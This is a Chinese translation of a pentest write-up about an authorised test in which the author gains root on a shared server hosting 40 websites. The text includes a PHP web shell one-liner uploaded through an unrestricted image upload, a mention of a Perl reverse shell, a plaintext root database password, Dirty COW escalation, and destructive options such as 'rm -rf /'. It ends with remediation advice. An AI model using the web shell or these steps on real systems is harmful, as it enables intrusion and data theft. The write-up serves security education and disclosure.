点击上方“CSDN”，选择“置顶公众号”

关键时刻，第一时间送达！

去年夏天我开始学习信息安全与黑客技术。在过去的一年中，我通过参加各种战争游戏、夺旗以及渗透测试模拟，不断提高我的黑客技术，还学习了很多关于“如何让计算机偏离其预期行为”的新技术。

长话短说，我的经验总是局限于模拟环境，而且我认为自己是个有道德的白帽黑客，所以我从未入侵过别人的业务，一次都没有。

直到现在。本文讲述了我入侵一台托管了40个网站（确切的数字）的服务器的故事，以及在此过程中我的发现。

请注意：本文讲述的技术涉及一些计算机科学领域的基本知识。

一位朋友告诉我，他的网站中发现了一个XSS漏洞，他希望我能进一步了解一下。这是个很重要的阶段，因为我会要求他授权我对他的web应用程序进行全面的测试，并赋予我访问托管服务器的全部权限。结果他答应了。

在本文中，假定我朋友的网站地址为：http://example.com。

第一步是收集尽可能多的敌方信息，并注意不要打草惊蛇。

在这个阶段，我启动计时器并开始扫描。

$ nmap --top-ports 1000 -T4 -sC http://example.comNmap scan report for example.com {redacted}Host is up (0.077s latency).rDNS record for {redacted}: {redacted}Not shown: 972 filtered portsPORT      STATE  SERVICE21/tcp    open   ftp22/tcp    open   ssh| ssh-hostkey: |   {redacted}80/tcp    open   http| http-methods: |_  Potentially risky methods: TRACE|_http-title: Victim Site139/tcp   open   netbios-ssn443/tcp   open   https| http-methods: |_  Potentially risky methods: TRACE|_http-title: Site doesn't have a title (text/html; charset=UTF-8).|_{redacted}445/tcp   open   microsoft-ds5901/tcp  open   vnc-1| vnc-info: |   Protocol version: 3.8|   Security types: |_    VNC Authentication (2)8080/tcp  open   http-proxy|_http-title: 400 Bad Request8081/tcp  open   blackice-icecap

扫描大约在2分钟内完成了。

这台服务器上有很多开放的端口！通过观察，我发现FTP（端口21）和SMB（端口139/445）端口是开放的，我猜服务器用这些端口托管文件和共享文件，还发现这是一个web服务器（端口80/443，代理在端口8080/8081）。

如果上述扫描信息不够，我还会考虑做一次UDP端口扫描，扫描最常用的1000多个端口。现在我可以在无需认证的情况下访问的唯一端口是80/443。

抓紧时间，我启动了gobuster，罗列出了Web服务器上所有有趣的文件，同时我将手动挖掘信息。

$ gobuster -u http://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100/admin/login

原来/admin路径是一个“管理工具”目录，通过身份验证的用户可以利用这些工具修改web服务器上的内容。它需要身份验证，但是我既没有用户名，也没有密码，所以只能找别的方法。（剧透：gobuster没有发现任何有价值的东西。）

到目前为止，我用了大约3分钟。然而，一无所获。

在浏览网站的时候，它要求我登录。这没关系，我用虚拟电子邮件创建了一个账户，然后在几秒钟后点击确认电子邮件并成功登录。

网站显示了欢迎信息，并弹出对话框带我进入个人资料页面，要求更新我的个人资料图片。做的很贴心啊。

看来该网站是定制的，所以我决定测试一下无限制上传文件的漏洞。我在终端上运行了如下命令：

echo "<?php system(\$_GET['cmd']); ?>" > exploit.php

我试着上传该“图片”，哈哈！该网站接受了上传exploit.php。当然这个文件没有缩略图，但是这意味着我的文件肯定上传到服务器的某个地方了。

获取exploit的位置

这里，我原本以为网站会对上传文件做一些处理，检查扩展名，并替换为可接受的文件扩展名，比如.jpeg，.jpg，以避免攻击者上传恶意的远程操控代码，希望各位看官的网站都做到了。

毕竟大家都很关心安全问题。

是吧？是吧？……没错吧？

接下来“复制图片的路径”，其实就是复制如下路径：

http://www.example.com/admin/ftp/objects/XXXXXXXXXXXX.php

看来我的网页木马程序已经做好准备且开始工作了：

我发现web服务器运行的是perl脚本（真的，perl？），于是我从常用的cheatsheet（http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet）中拿了一个perl语言的反向shell，设置好IP /端口，然后我得到一个低特权shell（对不起，没有截图）。

在第5分钟的时候，我已经拥有了低权限的shell。

令我惊讶的是，该服务托管的不止1个网站，总共有40个不同的网站。很遗憾我没有保存每个细节的截图，只有如下的输出结果：

$ ls /var/wwwaccess.log site1/ site2/ site3/ {... 等等}

我想你也看出来了。让人惊愕的是，我可以读取所有托管网站，这意味着我可以访问所有网站的后台代码。我原以为我只能访问example.com的代码。

值得注意的是，在cgi-admin / pages目录中，所有的perl脚本都以root身份连接到了mysql数据库。而数据库的身份验证是以明文保存的，就像这样：root:pwned42。

果然，服务器上运行的是MariaDB，在访问数据库之前我不得不借助于这个问题（https://github.com/dockerfile/mariadb/issues/3）。之后我运行了如下命令：

mysql -u root -p -h localhost victimdbnamePassword: pwned42

用root权限登录数据库后的截图如下：

“使用数据库用户”，我可以访问35个数据库并可以查看/修改数据库内容

仅用了7分钟，我就拥有了读写35（！）个数据库的全部权限。

到了这里，从道德上讲我必须停止此次黑客行动，并揭露迄今为止的发现。这些潜在的危害已经十分惊人了。

攻击者将如何处置这些数据：

• 转储所有数据库的内容，导致所有35家公司的数据集体曝光。按照这种方式（https://stackoverflow.com/questions/9497869/export-and-import-all-mysql-databases-at-one-time）。

• 删除所有的数据库，一次性删掉35家公司的所有数据。

• 利用cronjob留后门，方便日后通过apache再次造访。按照这种方式（http://blog.tobiasforkel.de/en/2015/03/19/setup-cron-job-for-apache-user/）。

我应该注意到，在这里mysql进程是以root身份运行的，所以如果我尝试运行\！ whoami，也许可以获得root的身份。不幸的是我仍然是apache。

好了，休息一下，计时结束。

还有什么更大的问题？

在揭露了我的发现后，我获得了更多权限，可以进行更进一步的挖掘。

在寻找方法可以将我的权限升级到root以制造巨大危害的可能性之前，我一直在研究我受限的用户还可以查阅些哪些其他有趣的文件。

就在那时，我想起了开放的SMB端口。这意味着某个地方的某个文件夹应该是对系统用户共享的。经过一番筛查后，下面的目录出现在了/ home / samba / secured目录中（请原谅我的批量审查）：

这些目录保存了托管公司每个用户的文件。其中包括一些敏感数据，比如：

• .psd / .ai文件（设计师知道私密的重要性，毕竟这是他们的工作和技术）

• Cookie sqlite文件

• 发票

• 盗版电子书（看到这些时我不禁笑了）

• WiFi的SSID和密码

攻击者将如何处置这些数据：

• 住在公司外面，登录到他们的内部网，并进行各种可以在本地网络上操作的有趣的攻击；

• 将上面列出的所有敏感数据公开到网络上。

花些时间浏览这些文件夹，你就会认识到这个问题有多严重。再休息一下。

最后一击

通过apache四处寻找了一会儿后，我决定去钓大鱼——拿到root用户。我喜欢利用cheatsheet（https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/），搜寻有趣的文件系统。

到目前为止我的搜寻已经用完了大部分的技术，但是却似乎无法找到突破点。

就在此时，我突然想到，在以前玩“夺旗”的挑战中，操作系统通常会做一些改动，故意制造一些错误的配置服务，最终为你提供所需的root权限。然而在现实世界中，人们可不会这么做。

我的意思是，看看Equifax。

服务器运行的是哪个Linux？

$ cat /etc/issueCentOS Linux release 7.2.1511 (Core)

Kernel是什么版本？

这个看似是个旧版的Kernel。

看到此图你能想起什么？（提示：这个问题非常非常严重）

如果没有，请点击这里：

https://www.theguardian.com/technology/2016/oct/21/dirty-cow-linux-vulnerability-found-after-nine-years

我在这篇博文中找到了我所需要的测试Kernel是否脆弱的脚本：

http://davemacaulay.com/easily-test-dirty-cow-cve-2016-5195-vulnerability/

然后运行：

游戏结束！

我马上写了一封邮件，充分披露了上述每一步的细节以及潜在影响，一晚上的工作结束了，可以松口气了。

攻击者可以做什么：

• 读取/修改服务器上所有的文件；

• 留下一个永久的后门（通过apache）；

• 安装恶意软件，并很有可能传播到服务器的内部网；

• 安装勒索软件（以35家公司的数据库为例，所有托管公司的数据都被视为人质）；

• 使用服务器作为加密货币矿工；

• 使用服务器作为代理；

• 将该服务器用作C2C服务器；

• 将服务器用作僵尸网络的一部分；

• .……（你可以自己想象）；

• rm -rf /（绝对不是在开玩笑）。

第二天，我的朋友（他与运营服务器的公司取得了联系）告诉我，文件上传中的bug已得到修复。

总结一下我们的发现：

• Web应用程序存在无限制文件上传的漏洞，这将赋予攻击者低权限的shell；

• MySQL数据库的身份认证漏洞，这将赋予攻击者读写35个数据库；

• 许多可读的敏感文件。

最后，攻击者可以滥用未打补丁的内核来获取root访问权限。

改良措施

首先文件上传的bug给了我们下手的机会。由于整个Web应用程序的后端都是用perl编写的（而我不会perl），所以我无法真正提出修复方案。

但是我可以建议一点：不要是使用2017版的perl，但这只是我的看法，大家可以随时证明我错了。

关于文件系统，我建议参考最小权限原则，谨慎地为用户分配恰当的文件权限。这样一来，即使像apache这样低特权用户可以访问，他们也无法读取任何敏感文件。

在同一台服务器上运行所有网站不是明智之举，我不确定docker化的方案是否可以解决这个问题。

所有数据库拥有相同的身份认证肯定是个很糟的主意。

单点故障通常不好。

最后，打补丁！实际上只需运行一个命令：su -c'yum update'（特定于CentOS）。

原文：https://hackernoon.com/how-i-hacked-40-websites-in-7-minutes-5b4c28bc8824

译者：弯月，编辑：言则

————— 推荐阅读 —————

点击图片即可阅读